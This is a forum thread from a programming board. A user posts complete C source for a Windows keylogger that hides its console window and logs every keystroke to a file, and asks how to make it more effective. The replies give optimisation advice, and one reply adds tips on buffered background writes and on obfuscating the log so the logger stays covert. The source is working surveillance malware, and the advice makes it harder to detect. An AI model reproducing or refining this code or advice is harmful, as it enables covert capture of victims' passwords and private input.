keylogger

Discussion in 'Programming' started by ssimon171078, Dec 1, 2014.

  1. #1
    i need help to make keylogger more effective in c, sometimes i do not see letters in log:
    #include <windows.h>
    #include <stdio.h>
    #include <conio.h>
    
    
    HHOOK _hook;
    int i;
    // This struct contains the data received by the hook callback. As you see in the callback function
    // it contains the thing you will need: vkCode = virtual key code.
    KBDLLHOOKSTRUCT kbdStruct;
    
    // This is the callback function. Consider it the event that is raised when, in this case,
    // a key is pressed.
    LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
    {
      if (nCode >= 0)
      {
      // the action is valid: HC_ACTION.
      if (wParam == WM_KEYDOWN)
      {
      // lParam is the pointer to the struct containing the data needed, so cast and assign it to kdbStruct.
      kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
      // a key (non-system) is pressed.
      if (kbdStruct.vkCode == VK_F1)
      {
      // F1 is pressed!
      //MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","F1");
      fprintf(file,"%s"," ");
      fclose(file);
      }
      if (kbdStruct.vkCode ==VK_TAB )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","TAB");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode ==VK_BACK )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","Backspace");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode ==VK_RETURN )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","Enter");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode ==VK_SHIFT )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","SHIFT");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode == VK_CONTROL)
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","Ctrl");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode ==VK_MENU )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","Alt ");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode == VK_CAPITAL)
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s"," Caps Lock");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      
      
      if (kbdStruct.vkCode ==65 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","a");
      fprintf(file,"%s"," ");
      fclose(file);  
      }
      if (kbdStruct.vkCode ==66 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","b");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==67 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","c");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==68 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","d");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==69 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","e");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==70 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","f");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==71 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","g");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==72 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","h");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==73 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","i");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==74 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","j");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==75 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","k");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==76 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","l");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==77 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","m");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==78 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","n");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==79 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","o");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==80 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","p");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==81 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","q");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==82 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","r");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==83 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","s");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==84 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","t");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==85 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","u");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==86 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","v");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==87 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","w");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==88 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","x");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==89 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","y");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==90 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","z");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      if (kbdStruct.vkCode ==95 )
      {
      FILE *file;
      file=fopen("vx.txt","a+");
      fprintf(file,"%s","_ ");
      fprintf(file,"%s"," ");
      fclose(file);  
      } 
      
      }
      }
    
      // call the next hook in the hook chain. This is nessecary or your hook chain will break and the hook stops
      return CallNextHookEx(_hook, nCode, wParam, lParam);
    }
    
    void SetHook()
    {
      // Set the hook and set it to use the callback function above
      // WH_KEYBOARD_LL means it will set a low level keyboard hook. More information about it at MSDN.
      // The last 2 parameters are NULL, 0 because the callback function is in the same thread and window as the
      // function that sets and releases the hook. If you create a hack you will not need the callback function
      // in another place then your own code file anyway. Read more about it at MSDN.
      if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
      {
      MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
      }
    }
    
    void ReleaseHook()
    {
      UnhookWindowsHookEx(_hook);
    }
    
    
    
    
    int  main ()
    {
    int i;
    HWND stealth; /*creating stealth (window is not visible)*/
      AllocConsole();
      stealth=FindWindowA("ConsoleWindowClass",NULL);
      ShowWindow(stealth,0);
    FILE *file;
    file=fopen("vx.txt","a+");
    fprintf(file,"%s","Begin of Log");
    fprintf(file,"%s"," ");
    fclose(file);
    SetHook();
    
      // Don't mind this, it is a meaningless loop to keep a console application running.
      // I used this to test the keyboard hook functionality. If you want to test it, keep it in ;)
      MSG msg;
      while (GetMessage(&msg, NULL, 0, 0))
      {
    
      }
    
    
    return 0;
    }[/call]
    Code (markup):

     
    Last edited by a moderator: Dec 1, 2014
    ssimon171078, Dec 1, 2014 IP
  2. langau

    langau Member

    Messages:
    548
    Likes Received:
    10
    Best Answers:
    0
    Trophy Points:
    35
    #2
    why do you use keylogger ?
     
    langau, Dec 1, 2014 IP
  3. PoPSiCLe

    PoPSiCLe Illustrious Member

    Messages:
    4,623
    Likes Received:
    725
    Best Answers:
    152
    Trophy Points:
    470
    #3
    I don't know C, but there HAS to be a better way than hardcoding each and every one of the keys?
     
    PoPSiCLe, Dec 1, 2014 IP
    sarahk likes this.
  4. ThePHPMaster

    ThePHPMaster Well-Known Member

    Messages:
    737
    Likes Received:
    52
    Best Answers:
    33
    Trophy Points:
    150
    #4
    You will need some sort of mapper (or in the above case an if conditions) or external library to translate the keystrokes into the corresponding character afaik.
     
    ThePHPMaster, Dec 1, 2014 IP
  5. PoPSiCLe

    PoPSiCLe Illustrious Member

    Messages:
    4,623
    Likes Received:
    725
    Best Answers:
    152
    Trophy Points:
    470
    #5
    An array? Matching keys to key codes? Has to be less clunky and probably faster than this monstrosity
     
    PoPSiCLe, Dec 2, 2014 IP
    Anveto likes this.
  6. deathshadow

    deathshadow Acclaimed Member

    Messages:
    9,732
    Likes Received:
    1,999
    Best Answers:
    253
    Trophy Points:
    515
    #6
    Well, first thing I'd suggest -- LEAVE THE FILE OPEN. Don't open and close it on every blasted keypress. 90% or so of your overhead is going to come from that.

    Second, you aren't outputting variables and/or formatting, so why are you dicking around with fprintf instead of puts? Much less the goofy space as a separate statement?

    Third, if you are doing multiple checks of the same variable, use a SWITCH, not an endless bunch of IF statements. Even IF you were to use IF statements, there's a command called "ELSE" you should be using so you aren't wasting time checking for values you already know aren't true... for example where you have:

      if (kbdStruct.vkCode == VK_F1)
    	{
    	// F1 is pressed!
    	//MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
    	fputs(file, "F1 ");
    	}
    	if (kbdStruct.vkCode ==VK_TAB )
    Code (markup):
    if the first check for VK_F1 is true, you know it cannot == VK_TAB so why check for it? Either add an ELSE before the second one:

    if (kbdStruct.vkCode == VK_F1) {
    	// F1 is pressed!
    	//MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
    	fputs(file, "F1 ");
    } else if (kbdStruct.vkCode ==VK_TAB )
    Code (markup):
    Or as should probably be done, use SWITCH/CASE

    switch (kbdStruct.vkCode) {
    	case VK_F1:
    		// F1 is pressed!
    		//MessageBox(NULL, "F1 is pressed!", "key pressed", MB_ICONINFORMATION);
    		fputs(file, "F1 ");
    	break;
    	case VK_TAB:
    		// etc, etc, etc...
    Code (markup):
    Excuse the reformat -- I find the openings on a line by themselves confusing, but I've been at this so long I still refer to K&R as "New Kid bullshit".

    The idea of a lookup table is interesting, but would hinge on what your target device is and how much RAM is free, as well as the number of keys you are trying to intercept. There are what, 253 Windows virtual key constants? You could fill the ones you don't want to intercept with a 'ignore' type flag (zero length string maybe?).

    Honestly as a keylogger I'd not be wasting time creating any fancy formatting for any of the keypresses, just output them as raw keycodes and then make a viewer for the raw data. That would kind-of be a "optimize inside the loop" idea -- don't waste time processing them inside the logger, just log the values as raw bytes and process them with a viewer. Doing so would gut out most of the excess logic from your code. Just raw putC them. The only reason I could see to get more complex than that would be to add timestamps.

    Really, just strip out ALL the IF's and check logic for:
    putc(kbdStruct.vkCode, file);
    Code (markup):
    dumping all keystroke data to that file.

    NOT that I advocate building a windows key logger, kind of a sleazy thing to do. Though it is an interesting experiment for learning windows internals. -- you wanted to be really sneaky, NOT or rotate the values so it looks like complete gibberish if edited in a normal text editor.
     
    Last edited: Dec 3, 2014
    deathshadow, Dec 2, 2014 IP
  7. deathshadow

    deathshadow Acclaimed Member

    Messages:
    9,732
    Likes Received:
    1,999
    Best Answers:
    253
    Trophy Points:
    515
    #7
    Oh, an even BETTER idea?

    Create a buffer that you write the scancodes to, and have a separate thread/process that monitors that buffer and when it grows past a certain point or after a certain amount of time, flush it to the disk. This would mean your keyboard intercept wouldn't have to 'stop' or 'pause' execution of the input cascade just to log a key. You get the write to disk separated out of the input logic code, it will run so fast it is extremely unlikely to have a noticeable performance impact on a modern system.

    Double-buffering might be even better. You set up a pair of 1k buffers, when the first is full you point new data to the second and mark the first for being flushed -- the process could check that buffer say... every second, if a buffer is full flush it to disk... or if say... five seconds passes do the same if any data is waiting. Reverse the process for the second buffer's content.

    A 1k keyboard buffer for a second is batshit insanely large (the original IBM PC's input buffer was only 16 bytes) if you were to monitor it once every five seconds... having two of them means the write to disk process wouldn't interfere with logging, and really 2k of memory is bupkis by modern standards.

    If you REALLY wanted you could have the write to file buffer handler do the translation instead of the actual MSG handler; though really assuming this is supposed to be on the down-low as I said before I'd store it either as the raw scancodes, or perform some sort of encryption on it. Again you don't need anything grandiose either -- just something like door-locks on a car; keeps the honest people out. A simple NOT of the scancodes or a rotate by three to five bits would confuse people trying to view it in a standard editor, but be able to be quickly and easily decoded.

    Hell, a while ago a buddy of mine had this brilliant encoding nobody we tried it against could crack it, even though the data WAS STORED IN ASCII. He extended it to word width, filled the top byte with a random value, and rotated it left by ((4 + index) & 0x07). The decode was as simple as ror ((4+index) & 0x07) and throw away the top byte... not ONE cryptography "expert" he showed it to could figure it out.
     
    Last edited: Dec 3, 2014
    deathshadow, Dec 3, 2014 IP